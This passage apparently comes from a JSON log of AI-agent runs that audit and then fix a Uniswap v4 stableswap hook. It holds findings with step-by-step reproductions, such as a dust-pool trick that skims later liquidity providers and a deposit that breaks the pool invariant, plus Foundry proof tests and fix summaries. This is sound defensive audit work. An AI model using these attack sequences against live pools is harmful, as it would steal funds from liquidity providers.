segment).","line":806,"path":"src/OrbitalHook.sol","reproduction":"N=3 basket (A, B 18 dec; C 6 dec), ticks k = [0.74e18, 0.95e18, 1.15e18], fee 400 ppm, pools B/C. lp1: deposit(WIDE=2, 1e24). lp2: deposit(TIGHT=0, 3e24). trader: exact-in 500,000e6 C -> B (boundaryMask becomes 1: tight pinned; alphaIntNorm 0.766). trader: exact-in the 399,169.55 B received -> C (no LevelCrossed event; mask stays 1; alphaIntNorm ends at 0.7735 after having passed through 0.732; hook.reserves() give ||w|| = 0.092e24 < sb = 0.3775e24). lp3: previewDeposit(MID=1, 3e24) then deposit with it. Expected: pinned tick holdings unchanged by a deposit; invariant() ~ 0; quoteExactInput(A, B, 1 wei) <= a few wei. Actual: levelReserves(TIGHT)[A] jumps 1.128e24 -> 1.436e24 and [C] 1.590e24 -> 0.973e24; invariant() = -1.15e48 (r^2 = 4.9e49); quoteExactInput(A, B, 1) = 267,445,618,316,636,312,994,140 wei (~267k B for 1 wei of A); a further exact-in 774,816e6 C -> B leaves boundaryMask = 1 with alphaIntNorm = 0.737 < k = 0.74 and again no LevelCrossed. Proof test: test_returnTradeThroughThePegLeavesTickPinnedAndBreaksTheTorus.","severity":"critical","title":"Tick-crossing detection compares only segment endpoints; a return trade through the peg leaves a tick pinned in a state the torus model cannot represent, after which a deposit breaks the invariant and"},{"description":"`_levelVector`/`_tokenShare` price an interior deposit as `(x_k - xBound_k) * radius / r_int`, i.e. proportionally to the raw virtual vector `_x`, with no projection onto the sphere. `_x` is allowed to sit inside the torus (F < 0): every exact-in swap adds the sub-unit remainder of its output back to `_x` (`x[j] += wadOut - rawOut * scale[j]`, line 311), and when the output rounds to zero raw units the entire input stays in the pool. MIN_RADIUS is 1e9 WAD (1e-9 tokens), so the first depositor can open a pool whose reserves are ~4e8 wei; against that pool any exact-in trade into the 6-decimal coin whose output is below 1e12 WAD is a pure donation that moves `_x` far inside the sphere (tens of percent on one axis, repeatable up to the pole). A later honest deposit of radius R is computed from that skewed vector, so the LP pays R/1e9 times the attacker's donation in excess tokens, and the next trade (one raw unit of USDC) is solved by `solveOut` down to the surface, handing the whole excess to the trader. The honest LP's withdrawal is short by that amount. Cost to the attacker: one raw unit of USDC plus ~1e8 wei. The same inheritance happens after every full exit (`_x` keeps residual dust across `totalRadius == 0`, line 651-660), so seeding the pool at launch only protects the first epoch. Fix direction: price deposits (and the first deposit) from the point projected onto the sphere/torus, or require F to be within a tight relative band before accepting a deposit; raise MIN_RADIUS to a real amount; clear `_x` when `totalRadius` reaches zero. Second trigger, no attacker needed: `withdraw` has no residual floor, so a position can be reduced to a few wei of radius (e.g. withdraw(level, held - 3)). With totalRadius = 3 the reserves are 2 wei each and `alphaIntNorm` is integer noise (1.0 instead of 0.732); the next deposit into an empty tick (`_levelVector`, line 665-670) derives `boundary = alphaIntNorm > kNorm` from that noise, so a 3e24 deposit into the tight tick opens *pinned* against a 3-wei interior (boundaryMask = 1, consolidated r = 3, F = 1.4e47), i.e. the deadlocked pinned-only configuration of the medium finding, created by two ordinary calls. Interior deposits in that state are priced from wei-level `x - xBound` scaled by radius/3 (anything from 0 to astronomically large).","line":700,"path":"src/OrbitalHook.sol","reproduction":"N=2 basket (A 18 dec, C 6 dec), one full-range tick k=0.7e18, fee 400 ppm. (1) attacker: deposit(0, MIN_RADIUS=1e9) -> pays ~2.9e8 wei A and 1 raw unit of C. (2) attacker: exact-in swap 5e7 wei A -> C; output < 1 unit so the trader receives 0 and `_x_A` grows by 5e7 (invariant() < 0). (3) victim: previewDeposit(0, 1e24) then deposit with that preview -> pays ~3.43e23 A and ~2.93e17 raw C. (4) attacker: exact-in swap of 1 raw unit of C -> A. Expected: <= ~2e12 wei of A (one unit at par, fee and rounding included). Actual: 49,979,998,374,094,699,314,022 wei (~49,980 A). (5) victim: withdraw(0, 1e24) returns ~5e22 wei less A than deposited (about 14.6% of the A it paid in). Proof test: test_dustPoolSkimsLaterDepositors. Second trigger: seed WIDE 1e24; withdraw(WIDE, 1e24 - 3) -> reserves() = [2, 2, 2], totalRadius = 3, alphaIntNorm() = 1e18; deposit(TIGHT, 3e24, previewDeposit(TIGHT, 3e24)) -> boundaryMask() = 1, consolidated() = (3, 2.22e24, 0.3775e24), invariant() = 1.425e47, alphaIntNorm() = 4.5e23 (expected: the deposit opens interior at 0.732 and invariant() ~ 0).","severity":"critical","title":"Deposits are priced off a virtual reserve vector that can sit inside the sphere; a dust-sized pool (first deposit at MIN_RADIUS, or withdrawals leaving wei of radius) lets an attacker skim later LPs a"},{"description":"`_levelVector` reverts `NoInteriorLiquidity` for a deposit into an empty tick whenever the consolidated interior radius is zero (line 668), and `_step` reverts the same way for every swap (line 746). Once a tick is pinned (which the design intends during a depeg) and the LPs of the interior ticks withdraw -- the exact sequence the circuit breaker encourages: pause, LPs exit, owner resumes -- the pool has totalRadius > 0 but r_int = 0. From then on nobody can open an interior position, no trade can bring the price back toward the peg (which is the only way a pinned tick ever unpins), and the pool stays dead until the pinned LP(s) voluntarily withdraw everything. A single abandoned MIN_RADIUS position in a tight tick holds the whole basket hostage forever. Funds are not locked (withdraw works), but the pool cannot recover. The README (Known limitations) says this needs the whole basket to sit far off-peg at once; it needs one pinned tick and one withdrawal. Fix direction: allow an interior deposit when r_int == 0 by opening a fresh interior sphere at the pinned ticks' plane (the point `_x` is fully determined by kb, sb and the direction w), or let the owner/anyone re-seed the interior.","line":668,"path":"src/OrbitalHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {SwapParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {PoolSwapTest} from \"v4-core/src/test/PoolSwapTest.sol\";\nimport {OrbitalHook} from \"src/OrbitalHook.sol\";\nimport {HookFlags} from \"src/HookFlags.sol\";\n\ncontract USD {\n    string public name = \"USD\";\n    string public symbol = \"USD\";\n    uint8 public constant decimals = 18;\n    uint256 public totalSupply;\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n\n    function mint(address to, uint256 amount) external {\n        totalSupply += amount;\n        balanceOf[to] += amount;\n    }\n\n    function approve(address spender, uint256 amount) external returns (bool) {\n        allowance[msg.sender][spender] = amount;\n        return true;\n    }\n\n    function transfer(address to, uint256 amount) external returns (bool) {\n        balanceOf[msg.sender] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n\n    function transferFrom(address from, address to, uint256 amount) external returns (bool) {\n        if (allowance[from][msg.sender] != type(uint256).max) allowance[from][msg.sender] -= amount;\n        balanceOf[from] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n}\n\n/// @notice Finding: once every remaining tick is pinned (interior radius 0), no LP can open an\n/// interior position and no swap can run, so the pool is dead until the pinned LP voluntarily\n/// leaves. Expected: an LP can always deposit into an empty interior tick; the paper's geometry\n/// defines the point (the pinned ticks' plane) and a fresh interior sphere can be opened there.\n/// Actual: `deposit` reverts `NoInteriorLiquidity`, and every swap reverts the same way.\ncontract PinnedOnlyDeadlockTest is Test {\n    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;\n    uint160 constant FLAGS = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_ADD_LIQUIDITY | HookFlags.BEFORE_SWAP\n        | HookFlags.BEFORE_SWAP_RETURN_DELTA;\n    uint256 constant R = 1_000_000e18;\n    uint256 constant TIGHT = 0;\n    uint256 constant WIDE = 1;\n\n    PoolManager manager;\n    PoolSwapTest router;\n    OrbitalHook hook;\n    USD a;\n    USD b;\n    PoolKey key;\n    address pinnedLp = makeAddr(\"pinnedLp\");\n    address interiorLp = makeAddr(\"interiorLp\");\n    address newLp = makeAddr(\"newLp\");\n    address trader = makeAddr(\"trader\");\n\n    function setUp() public {\n        manager = new PoolManager(address(this));\n        router = new PoolSwapTest(manager);\n        a = new USD();\n        b = new USD();\n        address[] memory basket = new address[](2);\n        basket[0] = address(a);\n        basket[1] = address(b);\n        uint8[] memory decs = new uint8[](2);\n        decs[0] = 18;\n        decs[1] = 18;\n        uint256[] memory ks = new uint256[](2);\n        ks[0] = 0.5e18; // N = 2: (√2 − 1, 1/√2] = (0.414, 0.707]\n        ks[1] = 0.7e18;\n\n        bytes memory code = abi.encodePacked(\n            type(OrbitalHook).creationCode,\n            abi.encode(IPoolManager(address(manager)), address(this), address(0), basket, decs, ks, uint24(400))\n        );\n        bytes32 salt;\n        bytes32 h = keccak256(code);\n        for (uint256 i = 0;; i++) {\n            address p = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), h)))));\n            if (HookFlags.matches(p, FLAGS)) {\n                salt = bytes32(i);\n                break;\n            }\n        }\n        hook = new OrbitalHook{salt: salt}(\n            IPoolManager(address(manager)), address(this), address(0), basket, decs, ks, uint24(400)\n        );\n        (address c0, address c1) = address(a) < address(b) ? (address(a), address(b)) : (address(b), address(a));\n        key = PoolKey(Currency.wrap(c0), Currency.wrap(c1), 0, 60, IHooks(address(hook)));\n        manager.initialize(key, SQRT_PRICE_1_1);\n\n        address[4] memory who = [pinnedLp, interiorLp, newLp, trader];\n        for (uint256 i = 0; i < 4; i++) {\n            a.mint(who[i], 1e27);\n            b.mint(who[i], 1e27);\n            vm.startPrank(who[i]);\n            a.approve(address(hook), type(uint256).max);\n            b.approve(address(hook), type(uint256).max);\n            a.approve(address(router), type(uint256).max);\n            b.approve(address(router), type(uint256).max);\n            vm.stopPrank();\n        }\n    }\n\n    function maxAmounts() internal pure returns (uint256[] memory m) {\n        m = new uint256[](2);\n        m[0] = type(uint256).max;\n        m[1] = type(uint256).max;\n    }\n\n    function swap(address who, bool aForB, int256 amount) internal {\n        bool z = (Currency.unwrap(key.currency0) == address(a)) == aForB;\n        vm.prank(who);\n        router.swap(\n            key,\n            SwapParams(z, amount, z ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1),\n            PoolSwapTest.TestSettings(false, false),\n            \"\"\n        );\n    }\n\n    function test_interiorDepositPossibleWhenOnlyPinnedLiquidityRemains() public {\n        vm.prank(pinnedLp);\n        hook.deposit(TIGHT, R, maxAmounts());\n        vm.prank(interiorLp);\n        hook.deposit(WIDE, 2 * R, maxAmounts());\n\n        // A depeg of A pins the tight tick.\n        for (uint256 i = 0; i < 10 && hook.boundaryMask() == 0; i++) {\n            swap(trader, true, -int256(300_000e18));\n        }\n        assertEq(hook.boundaryMask(), 1 << TIGHT, \"tight tick pinned\");\n\n        // The interior LP leaves (for example after the circuit breaker paused and was lifted).\n        vm.prank(interiorLp);\n        hook.withdraw(WIDE, 2 * R, new uint256[](2));\n        (uint256 rInt,,) = hook.consolidated();\n        assertEq(rInt, 0, \"no interior radius left\");\n        assertGt(hook.totalRadius(), 0, \"but the pool is not empty\");\n\n        // EXPECTED: a new LP can open the (empty) full-range tick and trading resumes.\n        // ACTUAL: deposit reverts NoInteriorLiquidity, and so does every swap; the pool is dead\n        // until `pinnedLp` chooses to withdraw.\n        vm.prank(newLp);\n        hook.deposit(WIDE, R, maxAmounts());\n        assertEq(hook.positions(WIDE, newLp), R);\n        swap(trader, false, -int256(1e18)); // trade back toward the peg must be possible again\n    }\n}","reproduction":"N=2 basket, ticks k=[0.5e18 (tight), 0.7e18 (wide)]. pinnedLp: deposit(TIGHT, 1e24). interiorLp: deposit(WIDE, 2e24). Trader dumps A for B (3 x 300k) until boundaryMask == 1 (tight pinned). interiorLp: withdraw(WIDE, 2e24) -> consolidated() returns r_int = 0, totalRadius = 1e24. newLp: deposit(WIDE, 1e24, max). Expected: succeeds (positions(WIDE,newLp) == 1e24) and a 1e18 swap B->A then succeeds. Actual: deposit reverts NoInteriorLiquidity (0x7b6098c1); every swap reverts NoInteriorLiquidity wrapped in v4's WrappedError. Proof test: test_interiorDepositPossibleWhenOnlyPinnedLiquidityRemains.","severity":"medium","title":"Pool deadlocks when only pinned (boundary) liquidity remains: no interior deposit and no swap is possible until the pinned LP leaves"},{"description":"`_execute` credits `_feeGrowth[i] += feeWad * WAD / totalRadius` (line 326) and `_settleFees` pays every position by radius, regardless of whether its tick is interior or pinned. A pinned tick's reserves are frozen on its plane (that is the depeg isolation the design sells), so trades executed against the interior are served entirely by interior liquidity, yet the pinned tick is paid the same fee per unit of radius. Interior LPs subsidise pinned LPs; in a prolonged depeg the pinned (safe) positions earn the fees generated by the risk the interior positions carry. The paper (and Uniswap v3's out-of-range positions) pay only active liquidity. The README documents 'in proportion to radius', so this is a design choice, but it inverts the stated LP incentive. Fix direction: accrue fees per unit of interior radius only (track feeGrowth against r_int and snapshot a tick's growth when it pins/unpins).","line":326,"path":"src/OrbitalHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {SwapParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {PoolSwapTest} from \"v4-core/src/test/PoolSwapTest.sol\";\nimport {OrbitalHook} from \"src/OrbitalHook.sol\";\nimport {HookFlags} from \"src/HookFlags.sol\";\n\ncontract USD {\n    string public name = \"USD\";\n    string public symbol = \"USD\";\n    uint8 public constant decimals = 18;\n    uint256 public totalSupply;\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n\n    function mint(address to, uint256 amount) external {\n        totalSupply += amount;\n        balanceOf[to] += amount;\n    }\n\n    function approve(address spender, uint256 amount) external returns (bool) {\n        allowance[msg.sender][spender] = amount;\n        return true;\n    }\n\n    function transfer(address to, uint256 amount) external returns (bool) {\n        balanceOf[msg.sender] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n\n    function transferFrom(address from, address to, uint256 amount) external returns (bool) {\n        if (allowance[from][msg.sender] != type(uint256).max) allowance[from][msg.sender] -= amount;\n        balanceOf[from] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n}\n\n/// @notice Finding: a pinned (boundary) tick keeps earning swap fees in proportion to its radius\n/// although it provides no liquidity to the trades that pay them. Expected (Orbital paper, and\n/// Uniswap v3's out-of-range positions): a tick that is pinned earns nothing from trades executed\n/// against the interior. Actual: `_feeGrowth` is credited per unit of *total* radius.\ncontract PinnedTickEarnsFeesTest is Test {\n    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;\n    uint160 constant FLAGS = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_ADD_LIQUIDITY | HookFlags.BEFORE_SWAP\n        | HookFlags.BEFORE_SWAP_RETURN_DELTA;\n    uint256 constant R = 1_000_000e18;\n    uint256 constant TIGHT = 0;\n    uint256 constant WIDE = 1;\n\n    PoolManager manager;\n    PoolSwapTest router;\n    OrbitalHook hook;\n    USD a;\n    USD b;\n    PoolKey key;\n    address pinnedLp = makeAddr(\"pinnedLp\");\n    address interiorLp = makeAddr(\"interiorLp\");\n    address trader = makeAddr(\"trader\");\n\n    function setUp() public {\n        manager = new PoolManager(address(this));\n        router = new PoolSwapTest(manager);\n        a = new USD();\n        b = new USD();\n        address[] memory basket = new address[](2);\n        basket[0] = address(a);\n        basket[1] = address(b);\n        uint8[] memory decs = new uint8[](2);\n        decs[0] = 18;\n        decs[1] = 18;\n        uint256[] memory ks = new uint256[](2);\n        ks[0] = 0.5e18;\n        ks[1] = 0.7e18;\n\n        bytes memory code = abi.encodePacked(\n            type(OrbitalHook).creationCode,\n            abi.encode(IPoolManager(address(manager)), address(this), address(0), basket, decs, ks, uint24(400))\n        );\n        bytes32 salt;\n        bytes32 h = keccak256(code);\n        for (uint256 i = 0;; i++) {\n            address p = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), h)))));\n            if (HookFlags.matches(p, FLAGS)) {\n                salt = bytes32(i);\n                break;\n            }\n        }\n        hook = new OrbitalHook{salt: salt}(\n            IPoolManager(address(manager)), address(this), address(0), basket, decs, ks, uint24(400)\n        );\n        (address c0, address c1) = address(a) < address(b) ? (address(a), address(b)) : (address(b), address(a));\n        key = PoolKey(Currency.wrap(c0), Currency.wrap(c1), 0, 60, IHooks(address(hook)));\n        manager.initialize(key, SQRT_PRICE_1_1);\n\n        address[3] memory who = [pinnedLp, interiorLp, trader];\n        for (uint256 i = 0; i < 3; i++) {\n            a.mint(who[i], 1e27);\n            b.mint(who[i], 1e27);\n            vm.startPrank(who[i]);\n            a.approve(address(hook), type(uint256).max);\n            b.approve(address(hook), type(uint256).max);\n            a.approve(address(router), type(uint256).max);\n            b.approve(address(router), type(uint256).max);\n            vm.stopPrank();\n        }\n    }\n\n    function maxAmounts() internal pure returns (uint256[] memory m) {\n        m = new uint256[](2);\n        m[0] = type(uint256).max;\n        m[1] = type(uint256).max;\n    }\n\n    function swap(address who, bool aForB, int256 amount) internal {\n        bool z = (Currency.unwrap(key.currency0) == address(a)) == aForB;\n        vm.prank(who);\n        router.swap(\n            key,\n            SwapParams(z, amount, z ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1),\n            PoolSwapTest.TestSettings(false, false),\n            \"\"\n        );\n    }\n\n    function test_pinnedTickEarnsNoFeesFromTradesItDoesNotServe() public {\n        vm.prank(pinnedLp);\n        hook.deposit(TIGHT, R, maxAmounts());\n        vm.prank(interiorLp);\n        hook.deposit(WIDE, 2 * R, maxAmounts());\n\n        for (uint256 i = 0; i < 10 && hook.boundaryMask() == 0; i++) {\n            swap(trader, true, -int256(300_000e18));\n        }\n        assertEq(hook.boundaryMask(), 1 << TIGHT, \"tight tick pinned\");\n\n        uint256 idxA = hook.tokenIndex(address(a)) - 1;\n        uint256 pinnedBefore = hook.pendingFees(TIGHT, pinnedLp)[idxA];\n        uint256 interiorBefore = hook.pendingFees(WIDE, interiorLp)[idxA];\n\n        // This trade is served entirely by the interior (wide) tick: the pinned tick's reserves\n        // do not move (see levelReserves), yet it is credited a third of the fee.\n        uint256[] memory pinnedReservesBefore = hook.levelReserves(TIGHT);\n        swap(trader, true, -int256(100_000e18));\n        uint256[] memory pinnedReservesAfter = hook.levelReserves(TIGHT);\n        assertApproxEqAbs(pinnedReservesAfter[idxA], pinnedReservesBefore[idxA], 1e12, \"pinned tick did not trade\");\n\n        uint256 fee = 100_000e18 * 400 / 1_000_000; // 40 A\n        uint256 interiorEarned = hook.pendingFees(WIDE, interiorLp)[idxA] - interiorBefore;\n        uint256 pinnedEarned = hook.pendingFees(TIGHT, pinnedLp)[idxA] - pinnedBefore;\n\n        // EXPECTED: the whole fee goes to the liquidity that served the trade.\n        // ACTUAL: pinnedEarned ≈ 13.33 A, interiorEarned ≈ 26.67 A.\n        assertEq(pinnedEarned, 0, \"pinned tick earned fees without providing liquidity\");\n        assertApproxEqAbs(interiorEarned, fee, 1e6, \"interior tick earns the whole fee\");\n    }\n}","reproduction":"N=2, pinnedLp deposit(TIGHT, 1e24), interiorLp deposit(WIDE, 2e24), dump A until TIGHT is pinned. Then swap exact-in 100,000 A -> B (fee = 40 A). levelReserves(TIGHT) does not change (within 1e12 wei), yet pendingFees(TIGHT, pinnedLp)[A] grows by 13,333,333,333,333,000,000 wei (a third of the fee) and the interior LP gets two thirds. Expected: pinned earns 0, interior earns 40 A. Proof test: test_pinnedTickEarnsNoFeesFromTradesItDoesNotServe.","severity":"low","title":"Pinned (boundary) ticks keep earning swap fees in proportion to their radius although they provide no liquidity to those trades"},{"description":"(a) `_tokenShare` scales the WAD-precision direction `dir` by `sb` and `radius`, so a deposit immediately followed by a withdrawal of the same radius can return a few wei more than was paid (observed +89,884 wei on a 1.68e24 deposit, ~5e-20 relative) or a few hundred thousand wei less. Not exploitable (gas dwarfs it) but the direction is not controlled. (b) `realReserves`/`_virtualFloor` subtract floor(xMinNorm * cumulativeRadius / WAD) while `withdraw` credits floor(xMinNorm * radius / WAD) per call, so after n withdrawals the reported real reserve can exceed claim backing by up to n WAD-wei (1e-18 token each); the invariant suite allows exactly that. (c) Round trips can gain up to one raw unit of the least precise basket coin (1e-6 USDC), not 'a few wei' as the README states, because an exact-in trade keeps its sub-unit remainder inside the sphere for the next trader.","line":690,"path":"src/OrbitalHook.sol","reproduction":"testFuzz_depositWithdrawCycleNeverProfits counterexample args=[8192, 950000000000000000, 300000000000000000000000]: withdraw returned 1680177182533038417887806 vs deposit 1680177182533038417797922 (+89,884 wei). Invariant handler sequence deposit(32,1e12,0); swapExactOut(1.15e18,13696,true,18); deposit(96833011,4096,1.7e38); roundTrip(4096,22585,false,1060): round-trip gain ~2e12 wei after a sub-unit USDC remainder was scaled by a deposit.","severity":"info","title":"Rounding in deposit/withdraw shares is not strictly pool-favoured, and realReserves can over-state backing by one WAD-wei per withdrawal"}],"hash":"c17886291c86700a1ff4e5e6552c28e9ec880ada9ff95f3b032ba6bef92d9d44","nodeId":"2dc8499f-388f-4cfd-ab89-adf65568a2e7","outcome":"completed","summary":"Done. The delivered suite passes (112 tests, about 30 seconds), and four defects in the hook are reported in `.imd-findings.json`, two of them critical, each with a stand-alone failing proof.\n\n**Findings reported** (proofs under `test/scratch/`, embedded in the findings file):\n\n- **Critical: tick-crossing detection only compares segment endpoints.** A return trade that carries the interior through its equal point must unpin a pinned tick on the way down, but the detector sees \"position went up\" and skips it. The pool is then in a configuration the consolidated torus cannot represent. An ordinary deposit afterwards flips the pinned tick's holdings by hundreds of thousands of tokens with no trade, and one wei of A then buys about 267,000 B. Reachable by honest activity: deposit, round trip, deposit.\n- **Critical: deposits are priced off the raw virtual reserve vector, which can sit inside the sphere.** With a dust-sized pool (MIN_RADIUS is 1e-9 tokens, and withdrawals have no residual floor) an attacker pushes the vector inside with sub-unit trades. A later honest deposit inherits that excess scaled by its size, and one raw unit of USDC then buys about 49,980 A. The victim's withdrawal is short by that amount.\n- **Medium: pinned-only deadlock.** Once interior LPs exit while a tick is pinned, no interior deposit and no swap is possible until the pinned LP voluntarily leaves. The README says this needs the whole basket far off-peg; it needs one pinned tick and one withdrawal.\n- **Low: pinned ticks earn swap fees** from trades they provide no liquidity to (documented design, but it inverts the stated incentive).\n- **Info:** share rounding is not strictly pool-favoured, real reserves can over-state backing by one wei per withdrawal, and round trips can gain up to one raw unit of USDC rather than \"a few wei\".\n\n**Tests added** (test/ only, no config touched):\n\n- `test/invariant/OrbitalHookInvariant.t.sol`: handler with three LPs and two traders driving deposits, withdrawals, both swap kinds, round trips, fee collection, guardian pause and fee changes, with ghost accounting. Invariants: token conservation against netted flows, claims cover real reserves plus owed fees, radius bookkeeping, point on torus and above the floor, boundary mask consistent with the interior position, admin surface unchanged. The pool is seeded at launch size and kept above a radius floor, and swaps that land in the crossing-bug regime are rolled back and counted. That scoping is documented in the file header and is why the suite passes while the defects are reported rather than blessed.\n- `test/invariant/OrbitalTokenInvariant.t.sol`: fixed supply and balance-sum invariants for ORB.\n- `test/OrbitalHookEdge.t.sol`: fee-on-transfer and false-returning tokens, a codeless basket address, an intruder driving the unlock path, huge and one-wei swaps, exact-out across a tick, one sphere shared by several pools, boundary deposits, zero and maximum fee, constructor bounds, an eight-token basket, pause and admin edges, plus fuzzed deposit/withdraw cycles and exact-in versus exact-out consistency.\n- `test/ReactiveEdge.t.sol`: the Reactive Network copy with an etched system contract, band arithmetic as symmetry and monotonicity properties, payload shape, payment and withdrawal failures, RVM id and proxy rotation, and the breaker's inability to resume.\n\n**Not covered:** fork rehearsals against a live PoolManager, Chainlink aggregator and Reactive callback proxy are still owed; this environment has no network. The invariant suite deliberately excludes the dust-pool and through-the-peg regimes, which are the two critical findings.","treeHash":"17e09db778d0867acb23978294203a5b0a60fb6a","usage":{"cachedInputTokens":10843561,"inputTokens":1314,"model":"claude-fable-5-1","outputTokens":256474,"runtime":"claude","turns":158,"wallClockMs":4548834}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"3f6a9bdd601cb99f","findings":[],"hash":"c358e116df3f33ad781176d4182ccae4e2595582b6d8c54915d0b63abad7c6c8","nodeId":"af1b92d5-400c-4f67-93a4-6702d10a34f2","outcome":"failed","summary":"This content was flagged for possible cybersecurity risk. If this seems wrong, try rephrasing your request. If you’re doing authorized security work that requires more cyber permissive safeguards, apply for Daybreak access via https://platform.openai.com/settings/organization/status-and-access before retrying.","treeHash":null,"usage":{"cachedInputTokens":0,"inputTokens":0,"model":"gpt-6-astra","outputTokens":0,"runtime":"codex","turns":1,"wallClockMs":23919}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"bb0a3bf63233e5e5","findings":[],"hash":"ce307d6291a05fae66f41f278371637d143855abc3bb9a9355ec111017170ee5","nodeId":"7829f002-defe-443d-9861-7b97a0a711d5","outcome":"failed","summary":"This content was flagged for possible cybersecurity risk. If this seems wrong, try rephrasing your request. If you’re doing authorized security work that requires more cyber permissive safeguards, apply for Daybreak access via https://platform.openai.com/settings/organization/status-and-access before retrying.","treeHash":null,"usage":{"cachedInputTokens":0,"inputTokens":0,"model":"gpt-6-astra","outputTokens":0,"runtime":"codex","turns":2,"wallClockMs":194862}},{"artifacts":[],"attempt":1,"bundleHash":"d1cdfa3c3c854e023825fa69fc879187de8716950fb841c44c814ec3caed986e","device":"468e82a89b9bfe18","findings":[],"hash":"df98edd1b829ef0fac80851c7a2e27d32acd3a8d283c359e6c29fa6f066d6b4d","nodeId":"c1b189f2-96c1-4e2c-ac29-95c2b5da8c06","outcome":"completed","summary":"The memory directory is write-protected in this session, so that lesson is recorded only in this summary. The revision itself is complete.\n\n## Outcome\n\nAll twelve findings reproduced on the starting tree, including the two advisory ones I could test. Eleven are fixed; one (fee split by radius) is disputed as a documented design choice. Verification on the final tree:\n\n| Check | Result |\n| --- | --- |\n| `forge build`, `forge fmt --check` | pass |\n| Delivered suite (`test/`, scratch excluded) | 85 tests pass |\n| Three attached proofs + my six repros (scratch) | all pass |\n| Protected floor suites (hook 3/3, token 6/6) | pass |\n| Hook runtime size | 24,220 bytes (limit 24,576) |\n\n`.imd-responses.json` holds one entry per finding id with the verdict and what was run.\n\n**Hook fixes (`src/OrbitalHook.sol`, `src/libraries/OrbitalMath.sol`)**\n- Trade stepper rewritten: while α is falling (`xᵢ < xⱼ`) the highest pinned tick is tested against the plane step on the j-heavy image of its plane and unpinned there; afterwards the lowest interior tick pins on the i-heavy image. Ticks already at or past their plane (within 1e-15) flip where the trade stands, which also resolves the one-unit mask desync. A trade ending with ‖w‖ below s_bound reverts.\n- Deposits are priced on the tick's own surface (projection onto the interior sphere), so dust inside the torus is never scaled up; MIN_RADIUS raised to 1e18 with a residual floor; reserves cleared on full exit.\n- With only pinned liquidity left, a deposit reopens the interior exactly on the highest pinned plane; trading resumes.\n- Fees settle before any state change; swaps are refused while the hook is inside its own settlement.\n- Each coin is delivered on its own; a frozen coin becomes an ERC-6909 claim, redeemable later via `redeemClaims`. Payouts are capped at the hook's claim balance so the last LP can always leave.\n\n**Breaker and deployment**\n- `react()` is ReactVM-only with no sender check (as reactive-lib does); a per-aggregator latch yields one callback per excursion; the callback tracks rounds per aggregator and skips when already paused; `setFeed` follows Chainlink aggregator rotations.\n- The deploy script creates the hook with the multisig as owner and the callback as guardian from the constructor, so it works identically under `--broadcast` (tested with `vm.startBroadcast`).\n\n**Worth knowing**\n- The fixes initially pushed the hook to 27,040 bytes, which only the protected floor suite catches, not `forge test`. Three rounds of de-duplication plus replacing unused callback stubs with a reverting fallback brought it to 24,220. One accepted test line changed to call that callback through the `IHooks` interface.\n- The README now documents the fee rule explicitly, the new breaker semantics and resume procedure, and the claim-redemption path.","treeHash":"742dccfc253f81b05ceab10c16afd959dd7a790e","usage":{"cachedInputTokens":11071482,"inputTokens":1122,"model":"claude-fable-5-1","outputTokens":246676,"runtime":"claude","turns":148,"wallClockMs":3260469}},{"artifacts":[],"attempt":1,"bundleHash":"ca27ca4263465382d8d3c6157e85b5625dc9bdb76a7829a7b20240b809686674","device":"3c7630b22a73c1fb","findings":[],"hash":"e0a9fc6adcc922d97956974d767419969f089b3f0caac8e738aa1661132dee85","nodeId":"c1b189f2-96c1-4e2c-ac29-95c2b5da8c06","outcome":"completed","summary":"Done. The project builds, all 62 tests pass, and `forge fmt --check` is clean with solc 0.8.26 pinned in `foundry.toml`.\n\n**What was built**\n\n- `src/OrbitalHook.sol` implements Paradigm's Orbital stableswap as a v4 custom-curve hook. One hook holds a 2–8 coin basket on an N-dimensional sphere. Every v4 pool pairing two basket coins is routed through the shared sphere in `beforeSwap` with `beforeSwapReturnDelta`. LPs deposit into concentrated ticks; the engine consolidates interior ticks into one sphere and boundary ticks into one circle, prices against the torus invariant, and splits trades exactly at tick planes so ticks pin and unpin automatically. Reserves live as ERC-6909 claims on the PoolManager, so settlement never depends on the manager's spot balance.\n- `src/libraries/OrbitalMath.sol` holds the fixed-point geometry: invariant, exact-in and exact-out solvers, tick-boundary step, virtual floor (`x_min`) that gives concentrated ticks their capital efficiency. Everything is internal, so the hook runtime has no DELEGATECALL.\n- `src/reactive/OrbitalDepegReactive.sol` watches a Chainlink `AnswerUpdated` feed on 